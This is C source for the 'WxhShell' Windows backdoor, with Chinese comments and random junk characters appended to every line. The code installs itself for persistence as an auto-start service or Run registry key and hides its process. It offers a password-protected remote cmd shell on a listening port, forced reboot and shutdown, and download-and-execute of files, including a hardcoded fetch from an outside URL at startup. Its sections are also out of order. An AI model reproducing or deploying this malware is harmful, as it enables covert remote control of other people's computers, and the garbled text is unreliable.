    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $_wo6/J5+D  
    if(Boot(SHUTDOWN)) {aoM JJq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0fA=_=A,  
    else { B& "RS  
    closesocket(wsh); fSbS(a  
    ExitThread(0); '(tj[&aL  
    } @`6}`k  
    break; X6'H`E[  
    } jKS!'?  
  // 获取shell >:A<"wZ  
  case 's': { S.1( 3j*  
    CmdShell(wsh); 7H4L-J3  
    closesocket(wsh); Y|_O8[  
    ExitThread(0); ]Y{,Nx  
    break; ~JLYhA^'+<  
  } #,TELzUVE  
  // 退出 -;vT<G3  
  case 'x': { Y KY2Cw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z" EWj73  
    CloseIt(wsh); 7|Xe&o<n  
    break; L1:nfH&:'  
    } z{=v)F5y  
  // 离开 /22nLc;/Cx  
  case 'q': { bi.wYp(*6L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xo\S9,s{  
    closesocket(wsh); $2QYxY9s  
    WSACleanup(); cW; H!:&  
    exit(1); 9)Ly}Kzx  
    break; R#ya,L  
        } TU%bOAKF\  
  } 2[ksi51y  
  } NZ+7p{&AN  
sDX/zF6t  
  // 提示信息 =HS4I.@c_5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "b`7[;a  
} Y[@0qc3UO  
  } jQ|:I7y  
e?P%wqB  
  return; }3J=DCtS  
} C B/r]+4  
eVx~n(m!}  
// shell模块句柄 Y.NE^Vn0  
int CmdShell(SOCKET sock) t0.;nv@A0  
{ 0p `")/  
STARTUPINFO si; r%|A$=[Q  
ZeroMemory(&si,sizeof(si)); xG1?F_]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I|T7+{5z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l!:^6i  
PROCESS_INFORMATION ProcessInfo; lm*g Gy1i  
char cmdline[]="cmd"; ('JKN"3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xp^ 7#`MJ?  
  return 0; f3 vF"O  
} oqYt/4^Q  
`7\H41%\pp  
// 自身启动模式 A? r^V2+j  
int StartFromService(void) X$^JAZ09  
{ 6OtVaT=}<O  
typedef struct {E~Xd  
{ -?z\5 z  
  DWORD ExitStatus; @$c!/  
  DWORD PebBaseAddress; @Z q[e   
  DWORD AffinityMask; N 2Ssf$  
  DWORD BasePriority; >Nh`rkR2[  
  ULONG UniqueProcessId; = ^s$ <  
  ULONG InheritedFromUniqueProcessId; c0ZaFJ  
}   PROCESS_BASIC_INFORMATION; N&m_e)E5c  
lE'wfUb  
PROCNTQSIP NtQueryInformationProcess; )~dOmfw%|  
PS}73Y#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {OP~8e"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6.19g'{sB  
1qZG`Vz  
  HANDLE             hProcess; NO4Z"3Pd_  
  PROCESS_BASIC_INFORMATION pbi; S/7l/DFb  
ZLrHZhP-+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GW/WUzK  
  if(NULL == hInst ) return 0; RX>2~^  
&a6,ln:P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?Oc -aa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kP^*h O!%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CmHyAw(  
`{o$F ::(  
  if (!NtQueryInformationProcess) return 0; RG}}Oh="v  
,H{={aln  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d}+W"j;  
  if(!hProcess) return 0; QNpu TZn#Q  
J|5Ay1eF-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dB7ZT0L\  
F 7LiG9H6`  
  CloseHandle(hProcess); I_>`hTiR  
v2>Z^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #&BS ?@  
if(hProcess==NULL) return 0; s[X B#)H4  
x.UaQ |F  
HMODULE hMod; #xp(B5  
char procName[255]; oKa>.e7.  
unsigned long cbNeeded; }#/l N  
H=<LutnZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F#|Z# Mu  
RRzP* A%=  
  CloseHandle(hProcess); fGarUV  
%b?uW] j:  
if(strstr(procName,"services")) return 1; // 以服务启动 ="(>>C1-  
MGaiTN^_<  
  return 0; // 注册表启动 + zp0" ,2B  
} :0I l|aB  
[K:29N9~4  
// 主模块  =:~(m  
int StartWxhshell(LPSTR lpCmdLine) N|Habua<Xw  
{ DFy1 bg  
  SOCKET wsl; !_x*m@/  
BOOL val=TRUE; n&d/?aJ7a\  
  int port=0; s)w9%  
  struct sockaddr_in door; X<euD9?  
"~\*If  
  if(wscfg.ws_autoins) Install(); N RSU+D-z  
P }Te"Y  
port=atoi(lpCmdLine); p6[ (81  
-;Uj|^  
if(port<=0) port=wscfg.ws_port; IU9, (E  
"+h/-2rA  
  WSADATA data; E9$H nj+m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B*79qq  
C6^j#rl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5[R?iSGL1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l$M +.GB<  
  door.sin_family = AF_INET; gtYRV*^q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "8/dD]=f^a  
  door.sin_port = htons(port); m~>@BCn;  
[W;[v<E;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4ZI_pf  
closesocket(wsl); N!c gN  
return 1; ChE_unw  
} vgThK9{m;  
8Q(8b@ZO,  
  if(listen(wsl,2) == INVALID_SOCKET) { n9] ~  
closesocket(wsl); P%)b+H{$h  
return 1; 38Efp$)  
} X| <yq  
  Wxhshell(wsl); Ac\W\=QvB  
  WSACleanup(); ~L'nz quF  
XTo8,'UaP  
return 0; E {>`MNj  
*U_oao  
} E474l  
v8'5pLt"  
// 以NT服务方式启动 >S.91!x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =x H~ww (D  
{ 6N3@!xtpi  
DWORD   status = 0; *Hunp Y  
  DWORD   specificError = 0xfffffff; *s\sa+2al  
/80YZ   
  serviceStatus.dwServiceType     = SERVICE_WIN32; .'lN4x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3dm'xe tM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ef,Cd[]b  
  serviceStatus.dwWin32ExitCode     = 0; ~ 5"J(  
  serviceStatus.dwServiceSpecificExitCode = 0; [h HG .  
  serviceStatus.dwCheckPoint       = 0; jVYH;B%%z  
  serviceStatus.dwWaitHint       = 0; aU(tu2  
H.~bD[gA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zYr z08PJ  
  if (hServiceStatusHandle==0) return; UH20n{_:  
_6rKC*Pe1  
status = GetLastError(); bU+9Gi@v  
  if (status!=NO_ERROR) tIGs>, a=  
{ xa#gWIP*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N-%#\rPq.  
    serviceStatus.dwCheckPoint       = 0; Pux)>q] C  
    serviceStatus.dwWaitHint       = 0; . r `[  
    serviceStatus.dwWin32ExitCode     = status; c<tmj{$  
    serviceStatus.dwServiceSpecificExitCode = specificError; :e2X/tl#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q"nGy#UWR  
    return; Eem g  
  } $?f]ZyZr.  
";dU-\3M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e /94y6*>  
  serviceStatus.dwCheckPoint       = 0; [z+x"9l0!  
  serviceStatus.dwWaitHint       = 0; >EIrw$V$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x'i0KF   
} bl.EIyG>  
wPH+n-&e  
// 处理NT服务事件,比如:启动、停止 <25ccE9^c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &7Kb]Ti  
{ g1V)$s 7  
switch(fdwControl) <V S2]13  
{ SqqDV)Uih1  
case SERVICE_CONTROL_STOP: J]\^QMX  
  serviceStatus.dwWin32ExitCode = 0; f3n~{a,[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u[EK#%  
  serviceStatus.dwCheckPoint   = 0; _FsB6 G]mc  
  serviceStatus.dwWaitHint     = 0; f_'"KF[%  
  { -tyaE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } 07r  
  } xwOE+  
  return; 0b++ 17aV  
case SERVICE_CONTROL_PAUSE: ]!aUT&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @p]UvqtB@  
  break; 8\_*1h40s  
case SERVICE_CONTROL_CONTINUE: ^ItAW$T]F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hr~.Lj5^W  
  break; +WL  D  
case SERVICE_CONTROL_INTERROGATE: $5L(gn[  
  break; NCDxcz;Gb  
}; ^c'f<<z|7r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $W,zO|-  
} -'ZxN'*%  
V16%Ne  
// 标准应用程序主函数 61,O%lV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O 6]u!NqG  
{ PbN3;c3  
{AgBwBCE  
// 获取操作系统版本 ^A#x<J+  
OsIsNt=GetOsVer(); !gJzg*{u@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T#r=<YH[C  
}!B.K^@)  
  // 从命令行安装 \(bj(any  
  if(strpbrk(lpCmdLine,"iI")) Install(); +{*)}[w{x  
qc&jd  
  // 下载执行文件 3?^NN|xg  
if(wscfg.ws_downexe) { ]bu9-X&T&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JMePI%#8  
  WinExec(wscfg.ws_filenam,SW_HIDE); z Lw(@&  
} 8!4[#y<  
uMpl#N p  
if(!OsIsNt) { ay-9c2E  
// 如果时win9x,隐藏进程并且设置为注册表启动 >~wu3q  
HideProc(); -( Kh.h  
StartWxhshell(lpCmdLine); KBj@V6Q  
} y#e ?iE@  
else SwJHgZ&  
  if(StartFromService()) ,!H\^Vfl  
  // 以服务方式启动 #[(gIOrNn8  
  StartServiceCtrlDispatcher(DispatchTable); D-D #`  
else I4:rie\hjC  
  // 普通方式启动 _.-#E$6s#q  
  StartWxhshell(lpCmdLine); N'a?wBBR  
tvCcyD%w  
return 0; wPQ&Di*X}  
} >uW^.e "F  
-#OwJ*-U  
b=G4MZQ  
b~9`]+  
=========================================== mF~ys{"t  
5\3 swP_7  
m{O Dz :  
MYu`c[$jZ  
-)>(8f  
'}CN?f|.  
" 4UVW#Rw{  
1VGpq-4*j  
#include <stdio.h> 5Kee2s?*  
#include <string.h> &t_A0z  
#include <windows.h> ,zoB0([  
#include <winsock2.h> yZ|+VXO  
#include <winsvc.h> $$\V 2%v  
#include <urlmon.h> ;Rs.rl>;t/  
y:C)%cv}*  
#pragma comment (lib, "Ws2_32.lib") >~^`5a`$uI  
#pragma comment (lib, "urlmon.lib") XJ O[[G`  
nfa_8  
#define MAX_USER   100 // 最大客户端连接数 ?N`qLGRm  
#define BUF_SOCK   200 // sock buffer ",QYDFFeF  
#define KEY_BUFF   255 // 输入 buffer @o60 c  
?0uOR *y'  
#define REBOOT     0   // 重启 (H P z  
#define SHUTDOWN   1   // 关机 ovbEmb  
+\srZ<67  
#define DEF_PORT   5000 // 监听端口 3jXR"@Z-  
J ZA*{n2  
#define REG_LEN     16   // 注册表键长度 R qn WtE  
#define SVC_LEN     80   // NT服务名长度 @]E]W#xAn  
pbPz$Y  
// 从dll定义API G~S))p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }\DAg'e)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,!r@9T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *|^,DGfQ6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;}UzJe ,S  
Ca X^)  
// wxhshell配置信息 'V1!&Q6  
struct WSCFG { %pH)paRAP  
  int ws_port;         // 监听端口 lS#7x h  
  char ws_passstr[REG_LEN]; // 口令 X:U=MWc>  
  int ws_autoins;       // 安装标记, 1=yes 0=no }\>+H  
  char ws_regname[REG_LEN]; // 注册表键名 H<$pHyxU  
  char ws_svcname[REG_LEN]; // 服务名 x\6] ;SXX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o>.AdZby  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2G ZF/9}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p%tE v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jb7iBQ2%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `t%|.=R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e~3]/BL  
@`5QG2  
}; KM5jl9Vv  
y2GQN:X  
// default Wxhshell configuration (X*'y*:  
struct WSCFG wscfg={DEF_PORT, ?vMK'"  
    "xuhuanlingzhe", /q T E  
    1, b-2pzcK{#  
    "Wxhshell", hr%U>U9F  
    "Wxhshell", )sRN!~  
            "WxhShell Service", j{)fC]8H  
    "Wrsky Windows CmdShell Service", U&`6&$]  
    "Please Input Your Password: ", 5[nmP95YK  
  1, Wux0RF&  
  "http://www.wrsky.com/wxhshell.exe", lK "' nLL  
  "Wxhshell.exe" gAj0ukX5  
    }; &ycjSBK  
0T(O'v}.  
// 消息定义模块 E1#H{)G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K4_~ruhr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N`f!D>b:dn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rq"VB.ef&{  
char *msg_ws_ext="\n\rExit."; dJloH)uJZ>  
char *msg_ws_end="\n\rQuit."; 0 4P.p6  
char *msg_ws_boot="\n\rReboot...";  c^rC8E  
char *msg_ws_poff="\n\rShutdown..."; *U :VM'a  
char *msg_ws_down="\n\rSave to "; DE5d]3B  
z'?SRK5+  
char *msg_ws_err="\n\rErr!"; keae.6[  
char *msg_ws_ok="\n\rOK!"; ?Y%}(3y  
@<|6{N<  
char ExeFile[MAX_PATH]; sf fV.cC`  
int nUser = 0; "v@);\-V  
HANDLE handles[MAX_USER]; 6euR'd^Qi  
int OsIsNt; 1]"D%U=  
2@rp<&s  
SERVICE_STATUS       serviceStatus; 4tbw*H5!5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [|y`y%  
W&HF?w}s  
// 函数声明 uPI v/&HA  
int Install(void); K/!/M%GB6  
int Uninstall(void); lB=(8.  
int DownloadFile(char *sURL, SOCKET wsh); ,;9ak-$8p  
int Boot(int flag); m"5{D*|  
void HideProc(void); ~u};XhZ  
int GetOsVer(void); sq6>DuBZz  
int Wxhshell(SOCKET wsl); T@B"BoKU  
void TalkWithClient(void *cs); ^cB49s+{e  
int CmdShell(SOCKET sock); su,`q  
int StartFromService(void); , - QR  
int StartWxhshell(LPSTR lpCmdLine); q s v+.aW  
@P*ylB}?Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~o:rM/!Ba  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =s`XZkh  
P;^y|0N m  
// 数据结构和表定义 J>&[J!>r  
SERVICE_TABLE_ENTRY DispatchTable[] = CR%D\I$o  
{ c$@`P  
{wscfg.ws_svcname, NTServiceMain}, d,zp `S  
{NULL, NULL} VEL:JsY  
}; FX{ ~"  
" ]aQ Hh]f  
// 自我安装 AEB/8%l};v  
int Install(void) gmXy>{T  
{ &B?@@ 6  
  char svExeFile[MAX_PATH]; xylpiSJ  
  HKEY key; [Bl $IfU  
  strcpy(svExeFile,ExeFile); _`TepX R  
Rbx97(wK  
// 如果是win9x系统,修改注册表设为自启动 QIR4<]/  
if(!OsIsNt) { Su$18a"Bc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ` 2Wl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }9{dR4hD  
  RegCloseKey(key); hfJrQhmE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b\kN_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h=uiC&B  
  RegCloseKey(key); _cW_u?0X:  
  return 0; :Tlf4y:/w  
    } *>E I2HX  
  } 8dV.nO  
} l\q*%'Pe  
else { s@[C&v  
f 1sy9nQs  
// 如果是NT以上系统,安装为系统服务 sjkWz2]S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C4&U:y<ju  
if (schSCManager!=0) 8:Z@lp^  
{ KC&H*  
  SC_HANDLE schService = CreateService SNQz8(O  
  ( 59&T/  
  schSCManager, ST[2]   
  wscfg.ws_svcname, s/r5,IFR  
  wscfg.ws_svcdisp, ;b, -$A  
  SERVICE_ALL_ACCESS, 'CP/ymf/a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mle_*Gy8  
  SERVICE_AUTO_START, r^?)F?n!  
  SERVICE_ERROR_NORMAL, aR`_h=a  
  svExeFile, EJ WOXxU  
  NULL, (%``EIc<8  
  NULL,  !7 ei1  
  NULL, ( rA\_FOJ  
  NULL, Mfnlue](  
  NULL OpWeW  
  ); J xA^DH  
  if (schService!=0) #pS]k<o%1  
  { AZh@t?)  
  CloseServiceHandle(schService); utYnaeQcn  
  CloseServiceHandle(schSCManager); P5'iYahCq_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <;2P._oZ  
  strcat(svExeFile,wscfg.ws_svcname); 8QkWgd7y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?b!CV   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tebWj>+1c  
  RegCloseKey(key); bYwI==3  
  return 0; b@nri5noBm  
    } \>*MMe  
  } YD/B')/ s  
  CloseServiceHandle(schSCManager); }*fW!(*  
} +=|hMQ;  
} /e-ka{WS  
zjluX\  
return 1; Z! C`f/h9  
} $nUd\B$.=  
6{JR0  
// 自我卸载 k#1`  
int Uninstall(void) *u|lmALs  
{ >P6^k!R1y  
  HKEY key; /'8*aUa  
Sqp;/&Ji  
if(!OsIsNt) { Q3<bC6$r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,!o\),N  
  RegDeleteValue(key,wscfg.ws_regname); XM$5S+e  
  RegCloseKey(key); m#5|J@]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sD LVYD  
  RegDeleteValue(key,wscfg.ws_regname); g@S@d&9  
  RegCloseKey(key); <7_ |Q   
  return 0; 1g~Dm}m  
  } m.\ >95!  
} /3CHE8nSh  
} oso1uAOfp  
else { jMm_A#V>p  
N<#S3B?.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2*~JMbm  
if (schSCManager!=0) }m=t zHB*  
{ p56KS5duI.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )bB"12Z|8  
  if (schService!=0) P#dG]NMf  
  { J8sJ~FnUj  
  if(DeleteService(schService)!=0) { J6*\>N5W  
  CloseServiceHandle(schService); {pcf;1^t  
  CloseServiceHandle(schSCManager); kj Lsk-  
  return 0; H(5S Kv5  
  } &A ;3; R  
  CloseServiceHandle(schService); P?Gd}mdX?m  
  } `^X RrVX<  
  CloseServiceHandle(schSCManager); x'E'jh%  
} [?|l X$<  
} lKh2LY=j  
VTy,43<  
return 1; P.[6s$J  
} ?V&Ld$db  
F]K$u <U  
// 从指定url下载文件 \N# HPrv}  
int DownloadFile(char *sURL, SOCKET wsh) ]t. WJC %  
{ i# pjv'C  
  HRESULT hr; ^]#Ptoz^(l  
char seps[]= "/"; [OFTP#}c  
char *token; )1ZJ  
char *file; ,(@Y%UW:  
char myURL[MAX_PATH]; %fn'iKCB  
char myFILE[MAX_PATH]; "k\Ff50  
pz*/4  
strcpy(myURL,sURL); M-&^   
  token=strtok(myURL,seps); Sa h<sb=  
  while(token!=NULL) }$&T O$LX  
  { mr{k>Un\  
    file=token; %:'1_@Ot 2  
  token=strtok(NULL,seps); @!L@UP0  
  } t7C!}'g&'  
~cO?S2!W  
GetCurrentDirectory(MAX_PATH,myFILE); 9}%~w(P  
strcat(myFILE, "\\"); |kBg8).B  
strcat(myFILE, file); r)9i1rI+  
  send(wsh,myFILE,strlen(myFILE),0); _g^K$+F'}  
send(wsh,"...",3,0); )H[h53bIq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5@R15q@c6n  
  if(hr==S_OK) ~_dBND?  
return 0; K]H"qG.K  
else A:8FJ3'  
return 1; d+YVyw.z  
Q8}TNJsU  
} \jF" nl  
1}n)J6m  
// 系统电源模块 %T&&x2p^=?  
int Boot(int flag) uJ|5 Ve  
{ WL)_8!  
  HANDLE hToken; UZ4tq  
  TOKEN_PRIVILEGES tkp; 4 BE:&A  
{Gk}3u/  
  if(OsIsNt) { uNPD~TYN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $+!}Vtb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Azq#}Oe)u  
    tkp.PrivilegeCount = 1; |k7ts&2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q ^1#xBd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eu}:Wg2  
if(flag==REBOOT) { i h`y0(<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pjj;.c 7_j  
  return 0; Pq{YZMr  
} 9AVK_   
else { Sg_-OX@f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~$y#(YbH  
  return 0; oSu|Yn  
} y7;XOPm  
  } AXNszS%4  
  else { a!^-~pH:  
if(flag==REBOOT) { By"^ Z`EP4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }Yo15BN+  
  return 0; W{$+mow7S  
} '$kS]U  
else { tvj'{W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lk+=2 6>  
  return 0; G +nY}c  
} [kp7LA"`  
} %CsTB0Y7n,  
AT8B!m   
return 1; xy z\;3  
} JX2 |  
b]so9aCz  
// win9x进程隐藏模块 +X%fcoc  
void HideProc(void) fUL{c,7xda  
{ ^;bGP.!p  
35@Ibe~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e%@[d<Ta\  
  if ( hKernel != NULL )  4s1kZ`e  
  { P5 <85t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wNf*/? N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g`~lIt [=  
    FreeLibrary(hKernel); t;e]L'z@:  
  } of[|b{Ze4~  
yNWbI0a  
return; RqX4ep5j  
} 6M<mOhp@}n  
N8L)KgM5#7  
// 获取操作系统版本 V"2AN3~&  
int GetOsVer(void) H,4,~lv|  
{ g*w-"%"O  
  OSVERSIONINFO winfo; .2(@jx,[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >ihe|WN  
  GetVersionEx(&winfo);  ZZFI\o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HZr/0I?  
  return 1; cVP49r}}v  
  else |$|nV^y  
  return 0; *2m&?,nJ  
} d~z<,_ r5c  
 7 zP  
// 客户端句柄模块 /xrq'|r?C  
int Wxhshell(SOCKET wsl) /J9T=N  
{ "` ?W u  
  SOCKET wsh; i_ODgc`H  
  struct sockaddr_in client; P+zI9~N[  
  DWORD myID; +DV6oh  
C)3$";$5)  
  while(nUser<MAX_USER) h}B# 'e  
{ 6 peM4X  
  int nSize=sizeof(client); woH3?zR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ->"h5h  
  if(wsh==INVALID_SOCKET) return 1; gU 2c--`  
d8BK/b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KJvJUq  
if(handles[nUser]==0) -I$txa/"|  
  closesocket(wsh); q@RY.&mgW  
else O,xAu}6f+  
  nUser++; ?BWvF]p5/  
  } _^2[(<Gmv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3_1Io+uXk  
M:Y!k<p  
  return 0; YT 03>!B  
} '`goy%Wd  
CK`3   
// 关闭 socket }yC,uEV  
void CloseIt(SOCKET wsh) ,w58n%)H  
{ kV(DnZ#jq  
closesocket(wsh); I#6' NZ  
nUser--; oWaIjU0  
ExitThread(0); HS&uQc a  
} uF.\dY\xv  
r0$9c  
// 客户端请求句柄 r`E1<aCr|  
void TalkWithClient(void *cs) g7Q*KA+  
{ *ej o6>  
_ L:w;Oy9T  
  SOCKET wsh=(SOCKET)cs; my\oC^/9  
  char pwd[SVC_LEN]; Z FrXw+  
  char cmd[KEY_BUFF]; +uGP(ONY  
char chr[1];  v=Bh A9[  
int i,j; Sdu@!<?B  
uxJiec`&  
  while (nUser < MAX_USER) { +MoxvW6  
+fQ$~vr{'  
if(wscfg.ws_passstr) { O>):^$-K%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #pn AK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2mp>Mn~K^  
  //ZeroMemory(pwd,KEY_BUFF); [t=+$pf(-  
      i=0; ;51!a C  
  while(i<SVC_LEN) { #&8pp8wd,}  
,HO/Q6;N  
  // 设置超时 0v)mgrl=,  
  fd_set FdRead; y2% ^teX k  
  struct timeval TimeOut;  F-\8f(\  
  FD_ZERO(&FdRead); tlxjs]{0E  
  FD_SET(wsh,&FdRead); kd4*Zab  
  TimeOut.tv_sec=8; +n~rM'^4/  
  TimeOut.tv_usec=0; 9M~$W-5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); te4"+[ $|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x 3co?  
_nFvM'`<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J1ro\"  
  pwd=chr[0]; vc1GmB  
  if(chr[0]==0xd || chr[0]==0xa) { ~4X!8b_  
  pwd=0; Mw7UU1 ei  
  break; Q+js2?7^  
  } cZ2, u,4  
  i++; [Ik B/Xbw|  
    } .;v'oR1x5  
o>rlrqr?_  
  // 如果是非法用户,关闭 socket aTL7"Myp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5Fm? ,^  
} <?@46d?C  
(2\ekct ^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (>lqp%G~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ej53O/hP  
.0;k|&eBD  
while(1) { 0YRYCO$  
_q4dgi z  
  ZeroMemory(cmd,KEY_BUFF); CbaAnm1  
gY^TBR0?m  
      // 自动支持客户端 telnet标准   (S 3kP5:F  
  j=0; \yizIo.Y`  
  while(j<KEY_BUFF) { MZMv.OeYt,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I:)#U[tn0  
  cmd[j]=chr[0];  1`JN  
  if(chr[0]==0xa || chr[0]==0xd) { soK_l|z:J  
  cmd[j]=0; \D k^\-  
  break; =y/ Lbe}:  
  } hpe s  
  j++; O.f3 (e!  
    } X?xm1|\  
c@{^3V##T  
  // 下载文件 aZ3 #g  
  if(strstr(cmd,"http://")) { 1ucUnNkcV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U1tPw`0h  
  if(DownloadFile(cmd,wsh)) n/Z =q?_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0~5}F^8[L  
  else &I_!&m~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r<H^%##,w  
